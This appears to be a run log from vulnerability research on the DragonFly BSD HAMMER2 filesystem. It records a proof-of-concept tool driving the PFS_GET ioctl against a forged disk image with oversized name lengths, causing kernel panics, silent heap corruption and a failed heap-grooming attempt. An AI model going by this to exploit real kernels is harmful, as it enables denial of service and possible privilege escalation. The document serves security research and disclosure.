=== Stock INVARIANTS kernel, forged image name_len=0x300 ===
$ vnconfig -c vn0 h2_2647_0300.img && mount -t hammer2 /dev/vn0@testvol /mnt/h2   -> MOUNT_OK
$ /root/poc/pfsget_scan /mnt/h2 1
pfsget_scan: fd=3 iters=1
  (panic -- see panic_inv.txt: assertion "ripdata->meta.name_len < sizeof(pfs->name)"
   failed in hammer2_ioctl_pfs_get at /usr/src/sys/vfs/hammer2/hammer2_ioctl.c:494)

=== Non-INVARIANTS kernel DF2647_NOINV, name_len=0x300, surgical run #1 (400 iters) ===
... scans [0]..[65+] each visiting zz_pwn (forged, first in key order) ...
victim loops running; ssh session then died; console:
  Fatal trap 9: general protection fault while in kernel mode
  Stopped at      _kmalloc+0x4b4: movq    (%r15),%rax          [panic_noinv.txt]

=== Non-INVARIANTS kernel, name_len=0x300, surgical run #2 (40 iters, console victims) ===
pfsget_scan: done
victim: finished, 574707 ioctls, no marker   (x6 victims, ~3.1M ioctls)
no victim hit files
SURGICAL_DONE          (guest ALIVE -- silent controlled corruption, clean unmount)

=== Non-INVARIANTS kernel, name_len=0x300, parked PFS_SNAPSHOT wall (120 threads) ===
scans complete; wall completes; hits=0 (magazine/LIFO geometry defeats userland
adjacency -- see VERDICT.md); guest alive; unmount clean.

=== Non-INVARIANTS kernel, name_len=0xFFFF, single scan (catastrophic) ===
$ sh run_catastrophic.sh
MOUNT_OK
  (kernel stops inside the copy: Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi)
   -- see panic_ffff_noinv.txt; guest down in DDB)